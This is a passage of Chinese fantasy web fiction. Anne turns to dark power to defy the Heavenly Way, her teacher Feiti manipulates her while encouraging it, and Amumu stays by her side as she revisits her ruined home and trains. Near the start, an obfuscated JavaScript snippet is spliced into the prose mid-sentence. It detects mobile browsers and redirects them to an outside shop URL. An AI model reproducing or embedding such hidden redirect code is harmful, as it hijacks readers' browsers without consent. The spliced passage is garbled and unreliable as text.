对抗赛又叫表演赛,是提升排名的唯一方法。数据综合排名差距不超过10的学生可以挑战自己排名前的学生,倘若成功,将取代失败者的名次,失败者顺延一个名次。 临近期末,越来越多的学生开始进出训练室,做最后的挣扎,训练室于是变得稀有起来,只有安妮因为菲缇给予的特权,用着专属训练室。不过没有任何人有异议,因为他们每天都看见了那个早出晚归的人。 那么云淡风轻的样子。 安妮其实不太清楚她的数值和那些学生相比到底好不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119477|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她只知道她的目标一定比那些学生遥远太多太多,所以她必须努力,不遗余力地努力。 期末考试那天,其他人都战战兢兢地在自己的考试场地外等待测试,只有安妮的训练室,门依然紧闭着。 数值最终定格在力量802,精准B2,掌控30。 不够。 她才知道,原来有人的掌控已经达到了60——虽然不是新生。 在新生的群体里,她已经算是鹤立鸡群。所有学生的成绩排出来,也不过力量532,精准C4,掌控50. 掌控很多时候和天赋有关。 这是菲缇安慰她的话,但安妮没有听进去。 或者说,她听进去了,但这句话就像一个魔咒,萦绕在脑子里,不断重复,膨胀…… 天赋……天赋……天道能赋予她什么? 天赋! 这就是她掌控一直无法再上升的原因吗? 安妮感到前所未有的迷茫。 她一直都知道,掌控过低,力量过高的结果。但她似乎已经没有办法改变了——是天道逼她的,不是么? 原来这就是黑暗族天才辈出,却都死于走火入魔的原因。 那又如何。 安妮的面前是一个巨大的屏幕,但上面不再是各式各样的冰雕,而是对抗赛的擂台。她看着面前的学生一个个竭尽全力躲避攻击,控制魔法,觉得像在看两只小老鼠争夺食物。 三个最佳数据来自于三个不同的人,力量高的那个不懂瞄准,精准高的那个力量不足,掌控高的那个喜欢艺术,力量精准都没放在心上。 所以本就不及格的表演愈加拙劣。 安妮突然想着,会不会天道也是这样,在无人的地方观看着蝼蚁挣扎求存,自以为拼尽全力,实际上那么弱小,只要稍微用力就可以碾碎他们的一切。 不,天道应该看都不会看的。 尽管面前的比赛越来越无趣,安妮却没有关闭直播的打算。她任由焦灼心慌折磨自己,明明没有训练,却仍旧全身无力,甚至一阵阵发热冒冷汗。无边的黑暗似乎包裹住了她,安妮在寂静中睁着眼睛,又似乎已经睡去。 “安妮?安妮?” 是木木。 “木木?” 直播已经结束,安妮才发现窗外已经是漆黑一片。 “你……” “我……” “你先说。” 阿木木放下手上的食物,坐在安妮旁边。 “我想去无妄边境看看,就在这个假期。那里……还有一个故事,我没听。” 阿木木没问,他只是答应。像曾经无数次那样,安妮走着,他跟着,不问方向。 “吃点东西吧,已经很晚了。” 安妮不知道自己究竟是怎样耗费掉一个下午的,脱离黑暗让她有些精神不济。她一边吃饭一边和阿木木聊天,不过这一次,阿木木确实无法待太久。 安妮再次目送阿木木离开,突然觉得那黑暗似乎要比如今空荡荡的白色温暖。 这是一个纯粹的世界。 黑暗无边无际,好像站在了夜空当中。 没有声音,没有温度。向前看,好像有路,又好像往前一步就会踏空。 嗓子被卡住,沉默在蔓延。 安妮好像站在了黑暗之外,但是这黑暗的外面仍旧是无边的黑暗。 层层叠叠却全都漆黑的世界是如此地让人目眩,以至于心中也是漆黑一片,充斥着莫名的负面情绪。 就像溺水的人在深海里无声的挣扎。 感觉到了冷。 迷茫、恐惧,在此刻如此清晰。每天都在思考的东西,突然失去了意义,简简单单的一个字,概括了追逐的梦想。 战。 宣战、迎战、鏖战……只有战。 这是你一个人的战争。 有谁在如是说。 无力感,像潮水一般淹没了身体,混沌的思绪里,那个念头像乍现的光芒一样刺目:这是一场,天人之战。这一战的对手,无可匹敌。 窒息。 逼迫。 无路可退。 黑暗在滋生。 但是她束手无策。 因为她感觉到了,那股破坏的力量。 破坏比建造更容易。——内心深处有个声音在轻声呢喃。 力量,如此渴求的力量。 天道给不了,总有人能给;天道打不过,总有一天能打过。用天道给予的力量对抗天道,这不是愚蠢至极的吗? 自始至终,对手只有一个,队友,也只有一个…… 黑暗的自己。 给我力量。 无论结果。 “安妮,你找我……” 这是安妮第一次来到菲缇的办公室,菲缇还没来得及高兴,就被安妮漆黑的眼睛看得一愣。 那是一双,被深入骨髓的黑暗浸透的眼睛。 但是没有人看得出来,除了她。 “菲缇老师,冰灵力是天道给我的,对么?” 菲缇一听到这个问题就明白了什么。 “安妮,你能问出这个问题,说明你真的长大了。” “不错,冰灵力确实是天道给你的。但倘若它加上了其他的力量,就不一定受天道的控制了。” 菲缇起身,不紧不慢地将办公室门关上,然后倒了杯清茶。 “这杯茶还是清澈的,因为只有茶叶在里面。”菲缇抿了一口,“很香,加丁校长给的茶就是不一样。” 她接着将自己桌子上的咖啡倒入茶杯,清香扑鼻的茶水立刻被浓郁的咖啡味覆盖,那杯茶以肉眼可见的速度变得浑浊。 菲缇这次没喝,把混杂着两种截然不同气体的水递到安妮面前:“但是如果茶里面不只有茶叶,还有咖啡的话,那就不一样了。” 她摇了摇茶杯,让两种液体充分地混合:“虽然茶叶确实让人神清气爽,但是咖啡的味道更加浓郁,也让人提神,不是么?最重要的是,要让一杯咖啡有清茶味不容易,但是要让一杯清茶有咖啡味,却不需要太多……” “菲缇老师,我明白了。” “去吧,完成你没有完成的东西。相信你能掌握好咖啡的多少。” “我能。” 她能。 她必须能。 安妮闭眼,再睁开,那双眼睛布满坚定。深邃的瞳孔中,是紫宝石一般耀眼的黑色,菲缇看得笑容真诚了几分。 “去吧,孩子。” 菲缇目送安妮离开,轻轻地把茶杯放在桌上。其实她自己都不知道,从不喝茶的自己为什么会一直把加丁给的茶放在触手可及的位置,或许这就是直觉? 是吧,直觉,也是缘分。 不过这大概是段孽缘了,因为迄今为止,她还没见过能把咖啡和茶水调好的人呢。 说不定能出现下一个阿若盖特呢? 毕竟这年头,刀都能成精了。 10. 10 安妮把自己困在了训练室。如同一只即将破茧的蝴蝶,她拼尽全力想要打破天道的桎梏,于是那双翅膀也就渐渐染上某种颜色。 而在她破蛹之前,菲缇不会让任何人前去打扰。 “菲缇老师,我们已经放假三天了。” 阿木木看着坐在办公室喝咖啡的菲缇,眼底的不信任逐渐浮出水面。 训练室是菲缇的,除了安妮能打开,就只有菲缇的印记有用,可是无论阿木木怎么想办法,菲缇就是不开门。 “安妮已经进入了学习的关键时刻,等等就好了。” “我从没见过什么学习可以在不吃饭的情况下进行。” 也许有,但那一定是违背规则的。 阿木木不相信作为老师的菲缇不知道。 “我给安妮准备了足够的食物,你不用担心,而且你不觉得,在这里重复这些无聊的话也没有用吗?” “你不怕我告诉加丁吗?” “如果你想让她恨你一辈子的话。” 阿木木深吸一口气,逐渐看清面前女人的可怕。 她玩弄人心的能力,一直都这么强吗? “阿木木,我们都是明白人,我也不和你装无辜。我和天道其实也有仇,所以我不过是顺手帮了安妮一把。她迟早会走上这一条路的,有我在说不定还能好一点,所以希望你不要自作主张干扰我的计划,或者干扰她的努力。” “那为什么你会在光明学院任教?” “知己知彼百战百胜,更何况我在这里总能有点用。” 至于是什么用,阿木木知道,菲缇也知道。 “你虽然是神使,但我看得出来,你没有入世的心,唯一的关注大概也就是安妮了。所以我不怕你说出去,我相信安妮也不怕。你信不信,不管她成不成功,她都会在出来后选择和你在一起?” “不用你说。” “好吧,那我们就一起祈祷安妮的胜利吧。” 菲缇无所谓地耸肩,脸上仍旧是人畜无害的笑容。 阿木木从来没有这么矛盾过。 大概是知道他本身并不像书中所描述的真正的神一样悲天悯人,所以加丁对黑暗族的介绍去掉了对老师学生灌输的涂炭生灵、无恶不作,反而倾向于他们本身。 比如,这是违背天道的,一定会受到天降神罚;这条路也是艰辛的,很有可能走火入魔害人害己…… 阿木木不怕安妮涂炭生灵,他只希望她不会自取灭亡。 菲缇不可能不知道这些,但她还是支持安妮做了。这是赤裸裸的利用,可是有什么办法呢?纵然知道是利用,也只有心甘情愿地接受。 安静的办公室里,少年满心的担忧与愤懑,然而几米之外的老师仍旧是气定神闲,无所事事的模样。 光明与黑暗维持着表面的平衡,却随时准备交锋。 “安妮,你终于出来了!” 等在门外的阿木木试图寻找安妮眼中的光,然而她眼中的纯净却消失了。 那双黑色瞳仁清澈透亮,却看得他心寒。 “安妮,一切顺利。” “嗯。” 安妮微微一笑,回答了阿木木和菲缇。 她的眼睛仍旧明媚动人,却没有了复活时存在的那一片净地。 阿木木不知所措。 “已经放假三天了,你和木木约好了要去什么地方,是吗?” “对,麻烦菲缇老师了。” “没事,你们去吧,玩得开心。”菲缇把训练室关上,并没有第一时间查看数据,“我还有点事要做,就不送了。” “菲缇老师再见!” 安妮带着阿木木告别,仍旧是活力四射的模样。 菲缇微笑着目送两人离开,然后踏入了久违的训练室。空荡荡的地面,所有的东西都已经回归原位,但是浓郁的黑暗气息却让人心旷神怡。菲缇深吸一口气,嘴角的笑容越发真诚。 她查看了一下数据,那个数字果然已经破千,直逼两千。黑暗只会给予力量,所以精准还是那么不够看,但是菲缇看着掌控的那一栏笑了起来。 48,居然是48。最高数值才50,居然有48……看来加丁不一定捡到了真宝,她却真的捡到了个宝贝。 就是不知道还有多少惊喜。 菲缇挥手,黑暗的气息乖乖涌入指尖,纯净光明的力量开始填充训练室。 直到确定改造完毕,菲缇才满意地离开。训练室里,最高纪录停在了802。 也许该把那个目标改改了,毕竟那是她对光明的要求。 何况她向来大方。 “木木,你……还和我回去吗?” 安妮的声音很轻,大概是害怕这句话会让阿木木生气,或者说她知道问出这句话会让阿木木生气。 “安妮,我说过,无论何时何地,我都会陪在你的身边。” 那双眼睛一如既往地充满坚定,北极星的辰光也依旧耀眼。好像不管经过多少沉淀与磨砺,黑暗的自始至终只有她自己。难怪他们说他是神,不悲天悯人也当之无愧的神。 “我们去坐马车吧,之前和阿狸姐姐一起逛街的时候看见的,我想去试试。”安妮想起了集市里那种特殊的马车,转而想起那个美艳的人,“我们要不要和阿狸姐姐告个别?还有她之前结交的那个新朋友,你们还不认识。” “当然可以,都听你的。” 安妮知道阿木木不喜欢这些交际,她也不喜欢,但她想再见见那个温柔的人,感受一下分别时应有的不舍。 安妮带着阿木木走进悦来客栈。此时已经过了正午,吃饭的人不多,但不妨碍悠闲的人们喝点下午茶,聊点有趣的新闻,也让打探消息的人不算无功而返。 安妮进门的时候没有听到什么熟悉的消息,倒是被阿狸的背影吸引住了。 天气已经转凉,秋天悄无声息地接近。安妮的盛夏是在训练室度过的,于是那个轻快的季节没有给予她任何舒适。 但是悦来客栈里的阿狸并不畏惧寒冷。 她穿着一身亮粉色的长裙,层层叠叠的裙摆像含苞待放的荷花,在这个满是苍黄的世界里显得格外青春俏丽。一头乌黑的长发被粉色发带束起,如同画里优雅端庄的仕女。 “安妮来了?”阿狸和身边的人调笑着,不经意瞥见了门口的那抹黑色,“快进来,你们放假了?” 安妮点头,局促地走近,小桌边没有多少人,除了仍旧毫无形象的猴子,就是板着脸的阿若盖特。 “阿若盖特姐姐好。” 安妮知道阿若盖特一直都是这个样子,毫无芥蒂地打招呼。 “嗯。” 冷漠的女子轻哼一声表示回应。 “她今天心情有些不好。” 阿狸打圆场。 “你要遇到总赊账的人,心情也不会好。” 阿若盖特难得高傲地插了句嘴,安妮琢磨多半又是酒桶喝酒没给钱。 “这就是木木吗?你好,我叫阿狸,这是猴子,这是阿若盖特。” 阿狸很热情地拉着阿木木要介绍,被他不着痕迹地避开了。阿木木礼貌地微笑,一个个打招呼。 气氛有些尴尬,但是阿若盖特早就习惯了冷场,也不打算开口。 还是阿狸老好人:“你们放假之后打算去哪?源大陆的秋天挺冷的,秋末就会飘雪……假期至少要放两个月,你们是九月开学,对么?” “是,不过我们很快就会回来的。” “那就好,有时间可以找我们玩哦。” “会的!——那我先走了,阿狸姐姐再见。” 和阿狸告别后,安妮终于慢慢敛起笑容,恢复了本来的样子。阿木木看着安妮沉思的模样,那乌黑的秀发垂落,挡住了她的侧脸,也挡住了那双眼睛。 “我们去买点雏菊吧,凯德阿姨喜欢白雏菊。” “好。” 集市仍旧很热闹,吆喝声不绝于耳。安妮买下一捧雏菊,租了一辆马车,和阿木木走上了归家的路途。 这架马车并不好看,只是和阿狸描述的一样,选择了契约过的野马,因此赶起路来十分迅捷,最主要的是没有人驾驶,安妮心里舒服很多。 她不太擅长应付人情世故。 “上一次,我们是一路走来的。” 安妮掀开车上的帘子,街道两边仍旧是各种摊贩。前方的路似乎没有尽头,马蹄声交错杂乱。 那时的她脑子里一片混乱,什么也不知道,只是在晨光里走着,走到晨光微露,走到艳阳高照,走到夕阳西下…… 直到走到城门口,她才知道自己已经到达目的地。 阿木木似乎也陷入了回忆,但他很快就眨眨眼,清醒过来。 “虽然中午才坐上马车,但以它们的速度,应该很快就会到吧。” 安妮放下帘子,坐回马车,手边的雏菊还滴着露水。 “你还记得我给你讲的故事吗?” “记得。” “其实还有个故事……”安妮望着马车里吊着的流苏出神,“凯德阿姨从来不给我说,但是她知道她应该讲的,所以她悄悄告诉我,那个故事就在妈妈的水晶球里。” 阿木木不知道这是凯德安慰安妮的话还是真的有什么重要的故事,但他觉得,凯德的故事已经足够安妮成为一个善良坚韧的人。 街上突然传来阵阵鞭炮声,好像在庆祝着什么。安妮掀开帘子,果然,外面喜气洋洋,人们的脸上洋溢着笑容。安妮其实不知道又有什么要庆祝的,族人除了盛大的节日和这里一样,其他的都不相同。 不过知不知道也不重要了,人与人的悲欢并不相同。 安妮直到傍晚才回到无妄边境,或者说,无妄森林的边缘。她把缰绳栓在一棵大树上,马儿嘶鸣一声,扬起蹄子,试图逃走,还是挣脱不开束缚。 是这里不祥的气息太浓郁了吗? 安妮自嘲一笑,捧着白雏菊望向荒芜的草地。 这里焦黑的土坑已经消失,取而代之的是茂盛的杂草,还有一些枯木。似乎没有人在这里居住过、欢笑过,因为现在一切是那么安静,只有自然的痕迹。 这是我的家。 安妮小声告诉自己。 她一步步走着,细数着。 这里曾经是我的帐篷,床下面藏着一个木头箱子;这里是帐篷外的空地,搬个小板凳坐在这里,可以烤火;这里是吃饭的地方,爸爸妈妈总是匆忙解决掉食物,而我只能看着他们远去的背影;这里是我和凯德阿姨一起种的花,还有妈妈亲手栽下的蒲公英…… “啪嗒。” 眼泪掉在草里,浸湿了黄色的土地。 “滴答。” 露水掉下来,和眼泪混合在一起。 安妮手里的雏菊变得那么沉重,可是举目望去,好像没有可以放下的地方,没有可以停顿和稍作休息的地方。 安妮忽然明白了凯德阿姨曾经的感叹。 她眺望着地平线上的太阳,在清晨的凉风里抚摸着安妮的头。她轻轻地说,“死亡真是世界上最大的悲剧,因为这意味着从此以后,你在这个世界上将了无痕迹。” 那时的安妮眼里盛满了晨曦,她用温暖的手环住凯德,撒娇一样地说:“怎么会呢,会有人留下你的东西的,也一定会有人记住你的。” 怎么会呢。 凯德阿姨没有留下任何东西。 也许那个水晶球,也不过是自己一厢情愿的幻想罢了。 安妮把雏菊散开,一朵一朵扔在地上。 她不知道这里是哪里。 就扔在这里吧。 她这样告诉自己。 转头,才发现离马儿已经很远了。安妮慢慢踱步过去,阿木木还站在原地。 他的眼中似乎永远藏着悲伤的情绪,晶莹的光在此刻更加感人,安妮不知道他的发呆是因为什么,但此刻他们都需要沉默的陪伴。 安妮没有使用冰灵力,她在周围慢慢收集枯树枝,任由恣意生长的草叶摩擦自己的皮肤。然后把柴火堆在一边,用双手一点点地拔草。弯腰,使劲,再扔开。她尽量把距离隔开,拔一会儿就站起身看看。阿木木在另一边,同样没有使用任何灵力。安妮花了一点时间回想,似乎阿木木从来没有说过他的学习成果。 一只白皙纤细的手突兀地出现在视野里,安妮顺着抬头,才发现不知不觉间,他们已经组成了一个圆。安妮又清理了一遍杂草,然后开始在中心生火。 靠在温暖的火堆边,安妮伸出双手,耳边似乎响起了凯德阿姨的提醒。 要小心,不要让火星跳到衣服上。 “木木,加丁校长有教给你什么魔法吗?” 身边的少年怔了怔,诚实地摇头:“没有。” “没有?” 安妮有些讶异。 “他说他没有资格教我。” 阿木木的语气没有一点点骄傲,平淡得就像在陈述一个普普通通的事实。 安妮没想到会是这样的回答。 “你呢?安妮,你真的打算……这样下去吗?” 这样是怎样?安妮不知道,阿木木也不知道,但直觉告诉她,会。 所以她也没有隐瞒。 “是。” “……” 沉默在蔓延,却不是隔阂的产生,而是两人必须在岔路口分别的不舍。 “你是光明,我是黑暗,这么看咱俩还挺配?” 安妮开着玩笑。 阿木木微笑回应,只是眼 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凯德阿姨的故事里没有看一眼就会彼此喜欢上的王子和公主,没有为了自己的野心努力一辈子,却在最后被感动放弃梦想的老巫婆,没有单纯好骗可是总是能够得到各种各样的人的帮助,最后幸福生活的小乞丐……” “我好累啊……有点困。” 安妮揉着眼睛,别开脸。 阿木木知道,安妮不是想睡觉的那种累。 “马车上有枕头和垫子,我去拿。” 阿木木快速起身离开,假装没看见安妮不停擦拭眼睛的动作。 “木木。” 安妮的声音有些哽咽,也很轻,但是阿木木还是听到了。他转身,火光中的女孩低着头,看不清神情,但是坐着的身体很僵硬。 “谢谢。” “……” “不谢。” 背光的少年展开一抹微笑,让天边的月亮都仿若失色。 清晨的露水悄无声息地滑落,侵入骨髓的寒凉让晨曦温暖得如此虚假。 安妮在雾蒙蒙的草原上醒来,面前是只剩余烬的火堆。她感觉衣服有些湿润,掀开被子起身,身下的土被烤得硬邦邦的。 太阳的光芒还不如这零星的火点。 安妮揉揉眼睛,活动活动手脚,然后向四周张望。阿木木也醒了,他似乎永远不会狼狈,即使头发有些凌乱。 安妮往记忆中妈妈的帐篷走去。她想找水晶球,即使知道那只是徒劳。天道不会留下任何爸爸妈妈的东西的,安妮心里清楚。 地上的杂草很多,但是不高,有的还是嫩绿色。安妮一脚就可以踩扁,或者踢开。也许自己走过的地方就是某个族人死去的最后一片土地呢?也许自己踩到的会是哪个族人遗留在土地里的最后物品呢?她这样想着,动作渐渐轻柔起来。 没有痕迹,真可悲啊……安妮想起每当族里有老人死去的时候,凯德阿姨总是找来他们生前爱用的东西,或者留下的遗物,放在盒子里,或者扔进湖里,或者埋在土里。那是最后的念想,因为光点是那么的转瞬即逝,让人无法铭记。 凯德阿姨也变成了光点……可是为什么这光芒没有给她一点慰藉…… “咔……” 是石头吗? ——不是。 安妮低头,被踢到的是一块黄灿灿的东西。比石头大一些,圆圆的,旁边还有些细碎的小块。 她蹲下,拨开有些茂盛的杂草,捡起手上的东西。 这是一件残缺的艺术品,圆形的镂空设计,如今缺了一角,其他地方也或多或少断裂了,但能看出是一朵花的形状,残存的花瓣绽放,像一朵晶莹的冰花。安妮集中精神仔细观察,看着花瓣和花茎相接处的那朵不太明显的黄色蒲公英,有些恍惚。 “蒲公英中的蒲公英。” 光明中的光明。 安妮的心狠狠地颤抖了一下。 “这是……百花节的……” 阿木木认出了面前已经残破不堪的东西来源何处,他开始四处张望,终于在一丛杂草里找到了一半已经不知所踪的“木”字琼脂。 安妮没有收起蒲公英,她只是愣了一会儿,就把这本就脆弱的东西扔进了杂草丛。 “你……” 找水晶球不就是为了纪念吗? “我不适合它。” 阿木木忽然感觉冰凉的琼脂有些烫手。 他瞄准安妮扔掉蒲公英的方向,把刚刚才找到的薄荷琼脂也扔了进去。 “你不用这样的,你要是喜欢,可以留下。” “薄荷其实也不适合我。” 清凉、锐利、锋芒毕露。 阿木木脑子里忽然闪过那天,薄荷旁边的紫色桔梗。 “安妮,你不是要找水晶球吗?我们继续找吧。” 阿木木转头去到另一个方向,安妮看着扔掉琼脂的地方,还有些愣愣的。她收紧手掌,那种扎人的冰凉感已经消失不见。 她也不想扔的,那是凯德阿姨亲眼看着她做的。 可是她无法将它留下…… 罪恶感从未如此清晰地涌来,安妮突然有些害怕。 她会成为凯德阿姨所说的阿修罗吗?没有感情,没有理性,如同执行命令的机器,最终为自己的荒诞和疯狂付出生命的代价,只为了破坏。 她想告诉自己,她不会的,但她的内心却反复问着一个问题,让她无法反驳。 你连曾经光明的自己都无法接受…… 甚至厌恶。 是啊,那个弱小天真的自己。 “安妮。” “啊,抱歉,走神了。” 安妮不知道自己多久停了下来,也不知道自己走到了哪里。好在马儿仍在不远处。 “累了就休息会儿吧,不着急。” 可是我着急…… 安妮抬头,忽然不想再找寻什么东西了。过去的已经过去,她连曾经的自己都无法面对,还怎么带着凯德阿姨的期望生活下去? 不如诀别,和那个愚蠢懦弱的自己诀别。 心中的焦虑感还在催促着她练习。安妮看着曾经走过无数次的通往无妄森林的小路,终于遵从了内心。 “故事不听也没什么了,我们回去吧。” 太阳已经升起来,温度还是不高,但清晨的水汽已经渐渐蒸发殆尽。马儿打了两个响鼻,在收到安妮离开的指令后,立刻撒腿狂奔起来。 坐在车里,掀开帘子就能看见周围植物不断倒退的场景。这样的极速让人心跳加快,安妮却并不反感。 “去圣城,我们去找阿狸姐姐吧。” 听说灾难丛林里的妖都有自己对灵力的特殊理解,没准她可以从中得到些启发。 力量,她要力量。 11. 11 “要学习?当然可以啊,不过我好像没什么可以教给你的。”阿狸还是那么谦虚,“猴子这段时间悟出了一些自己的招式,但是你们的灵力属性不太一样,好像不太适合……” “阿狸姐姐是什么属性?” “纯粹的法力。” 纯粹的法力? 安妮有些惊讶。 纯粹的法力虽然在别的地方不怎么样,但是打架算一等一的厉害,因为持有者的所有力量都给了灵力本身,没有花里胡哨,就是直接碾压。 安妮心想要不是阿狸不会武功,估计阿若盖特能天天缠着她打架。 “猴子这两天学会了影分身之术,你或许可以找他练练精准。” “影分身?他的速度很高吗?” “对啊,不知道为什么,他的身法武功居然很厉害,按理说……”阿狸顿了顿,觉得这消息也算人尽皆知,于是直接说完了,“按理说物理和魔法是不见面的,一个人灵力强势,身体素质就有所限制,可是他不仅会武功,法术也很出色。” “阿若盖特姐姐不也是这样吗?” 她在学校就已经听说了阿若盖特的大名,只要谈到战力榜,一定有阿若盖特的位置。 “她不一样。” 一笔带过,不过安妮确实只想到了这一个灵武双修的人——只是如今多了一个。 “不过猴子的灵力也不算太高,只是可以有一个分身在原地而已,那个分身很快就消失了,也不能做什么。” “哦……” 虽然如此,那也是非灵力无法做到的事。 没想到猴子这么特殊。 “嗐,你快别提了,自从我会了那法术,那个暴力女就老是找我切磋,我哪打得过她啊……” 猴子摆着手,一脸无奈兼肉痛的表情。 阿狸笑了笑,也算是默认了。 “那……我能去请教阿若盖特姐姐吗?” “可以是可以,就是不知道……总之,看你的诚意了,阿若盖特虽然冷漠了一点,其实心肠是好的,只要你和她好好说,她应该会答应的。” “好!” 安妮知道,阿若盖特其实就是个面冷心热的人。 果不其然,当安妮局促地提出想要学习法术的时候,阿若盖特皱着眉答应了。 她的教学方式很简单,打。 没有什么比实战更能锻炼人,她这样说。 安妮的力量不低了,但是当她凝聚出冰刃刺向阿若盖特时,仍旧被她轻描淡写地接住了,甚至没有移动分毫。 虽然对彼此的差距早有预料,但安妮还是感到了一丝落差。 “你已经很勤奋了,有我当年疯狂的样子。”阿若盖特捏碎冰刃,“就是不懂得如何提升自己的力量。要知道,实战不仅仅是考试时数值的比拼……你看过对抗赛,对吧?” “是的。” 但是他们的数值并没有自己出色,安妮毫无收获。 “那你知道为什么有的人数值明明更低,却击败了比自己厉害的人吗?” 安妮诚实地摇头。 “因为实战不仅仅考验那三个数字,它还考验更多,比如……如何击中要害,如何随机应变,如何改进招式……” “那如果我只想提升力量呢?” 她要对抗的是天道,不是活生生的人。 阿若盖特明显愣住了,她盯着安妮,终究还是没有问为什么,只是给了另一个问题:“那你倒是说说,你学习魔法的目的是不是为了赢?” “是。” “那你觉得,击破对手的薄弱点更容易,还是硬碰硬更容易?” 当然是击中薄弱点……但是天道有薄弱点吗?安妮第一次问出这个问题。 “不要觉得你的对手是无懈可击的,任何事物都会有薄弱点,端看你找不找得到……就算没有,你也可以制造。” 这话算极其高傲的,然而阿若盖特说得却如此理所当然。 见安妮陷入沉思,她也不打扰。过了一会儿,安妮抬头,眼中是崇拜的目光。 天道为什么不会有薄弱点?毁灭她的族群,不就是害怕了吗? “谢谢你,我明白了。” “明白还不够,你要做到。现在,跟我实战,咱们就从抓住这只兔子开始。” 阿若盖特拿出后厨里的一只兔子,扔进后院,站在旁边看着安妮表演。 安妮好歹在无妄森林边缘逍遥过一阵,对于捕捉兔子颇有自己的心得,因此围攻这只在厨房被吓破胆的家兔显得轻而易举。阿若盖特很满意,想了想,不知从哪里找来了一只癞蛤蟆。 癞蛤蟆可不能吃,也不好看。安妮之前从来没有试过抓癞蛤蟆,或者说失败过便不再尝试,谁知如今却成了自己的阻碍。 看着屡次避开冰冻的癞蛤蟆,安妮有些气急败坏。她干脆从极大的空间外凝聚力量,形成一个圆圈,不断向上凝结成冰,直接关住这只活蹦乱跳的动物。 于是面前出现了一个半径将近一米的半镂空球体。 阿若盖特挥手甩出一道刀气,破开了冰球表面,癞蛤蟆立刻跳了出来,跑远了。阿若盖特也不阻止。 “你确实抓住了这只癞蛤蟆,但是算算你用的时间精力,你觉得假如癞蛤蟆的力量和你不相上下,你还可以做到吗?” 安妮也反应过来了,她这样自然不能。如果没记错的话,之前围堵利维坦之灵也是这样的…… “同理可得,当你和你的对手拼命时,你必须用绝对碾压它的力量制服它,相反,只要它稍微比你厉害一点,你就很可能失败。” 是的……安妮低头,不用想象,那股天道的威压都随时可以感觉到。 “想要击败它其实很简单,它的后腿力量很大,但是前肢并不发达,甚至受了些伤,只要你多试探几次不同的围堵方法,你就会发现它的冲劲太大根本刹不住车,后面越来越慌,跳得远却改变不了方向。” 阿若盖特并没有把那只癞蛤蟆拦住杀死给安妮看,但安妮细细回忆,赞同地点了点头。 “好了,今天先到这里,你可以多去观察观察后厨新来的那些食物,之后我会慢慢教你如何抓住机会,还有分辨破绽的真假。” 阿若盖特抱臂离开,安妮却越发觉得她高大又强大。 她有骄傲的资本。 安妮又惊叹又羡慕。 安妮回到圣城后住在学院,但每天都会出去向阿若盖特学习或者练习。菲缇仍旧是知心朋友的角色,尽管如今阿若盖特更像她的老师,但安妮丝毫不掩饰对菲缇的亲近。 “阿若盖特姐姐今天教会了我分辨破绽的真假,她真的太厉害了……”安妮想着阿若盖特和酒桶的对决,只觉得自己也像喝了烈酒一样醉了,“她说珀森看起来疯疯癫癫的,能和她打个平手,一大半都是靠真假破绽太难让人分清,她都老是被骗……” “那她挺厉害。所以你的力量数值虽然只在三千多,实际上该是四五千了吧?” “嗯……不过阿若盖特姐姐说有关提升力量的对抗她只会教这么多了……” 安妮有些可惜,计算着学习的日子。 “没关系的,阿若盖特有自己的事,教这么多对你而言也很足够了。你的力量数值目前还是最主要的。” 安妮赞同地点头。 “那菲缇老师,我去练习室了,今天的任务还没完成。” “去吧,练完了记得来吃饭。” 菲缇和安妮道别,像是已经认识许久的老朋友。 阿木木在安妮离开后,坐在了菲缇旁边。相隔半米的位置,长椅被分成两半。 “你又想问什么?” 菲缇看起来心情很好。 “你给校长说,我降临在恕瑞玛沙漠?” “是的,因为不想他知道你们真正的来历——这也是为你们好,不是吗?” “那你也知道说出那个地方意味着让艾德文特去送死?” “亲爱的,这怎么能算送死呢?艾德文特的探险经验很充足,而且他还有黄金罗盘和金丝手镯的帮助,不会有什么危险的。” 菲缇的话还是温温柔柔的,似乎真的很相信艾德文特。但是阿木木只是看着她,不说话,深邃的眸子里,是她清晰的倒影。 “好吧,但不论如何,你承认了,不是么?我想你应该也并不关心一个陌生人的生死。” “我只是想知道你能虚伪到什么程度。” “别这么说,我绝对是真心对你们的,我发誓。对于一个并不熟悉的人,我们何必在意他的死活?何况去不去是他的自由,只能说,一个愿打一个愿挨。” 菲缇其实也很好奇艾德文特为什么唯加丁是,这一次回来之后,会不会真的去恕瑞玛。 阿木木没说话,他确实如菲缇所言,承认了这个谎言,也并不关心那个探险家的性命。 “校长有没有让你去开学典礼上说两句?你答应了吗?” 菲缇摆出一副朋友之间闲聊的架势,可惜阿木木并不领情。 “这些事就不劳你关心了,我还有事,先走了。” “诶,别走那么快嘛……” 菲缇看着阿木木干净利落地离开的背影,撇了撇嘴,勾起一个无奈的笑容。 唉,难道神明真的无法被欺骗? 但她能做到这个地步,也算成功了吧…… “听说了吗?艾德文特要回来了!” “天呐,从灾难丛林里走了一遭,还能完好无损地出来,真不愧是顶级探险家啊!” “可不是吗?光明学院出来的哪个不是精英?” “他真是光明学院的啊?可是他到底是什么位置的?会探险也能当老师?” “我猜怎么也得是个学生会会长,再不济首席辅导也可以吧……” “能力出众不代表教人也出众,你看他那副除了探险一窍不通的样子,能传授什么啊……” 客栈里讨论得热火朝天,安妮难免也会听到。 在来来回回的这一个月里,安妮已经分出来了好几个版本。有什么猜测他是学院特聘的,每年给不少黄金;有的猜测他是在学院学习后和学院合作的,算是高级学员;也有人脑洞大开,觉得他和校长加丁有特殊关系,专门给加丁卖命的……总之,所有人只有一个共同的认知,那就是探险专家艾德文特快回来了。 安妮身为光明学院的学生,只知道他会回来,其余的一概不知。菲缇透露开学会有一个欢迎仪式,其他的也不太清楚。 不过这并不重要。安妮还是继续着自己的训练,并且在菲缇的引导下,慢慢学会隐藏自己的实力。 阿木木也有劝说过,但他能说什么?菲缇另有目的,居心叵测?菲缇确实有自己的私心,但哪怕安妮知道,也无济于事。她的的确确教会了安妮许多,不仅给安妮介绍朋友,还总是开导她。 安妮是一个看事实的人。就像她没有听到阿木木的一句表白和承诺,但只要他一直追随着自己,安妮就知道他值得信任和依靠。 他能做的真的不多…… 阿木木感到有些挫败。 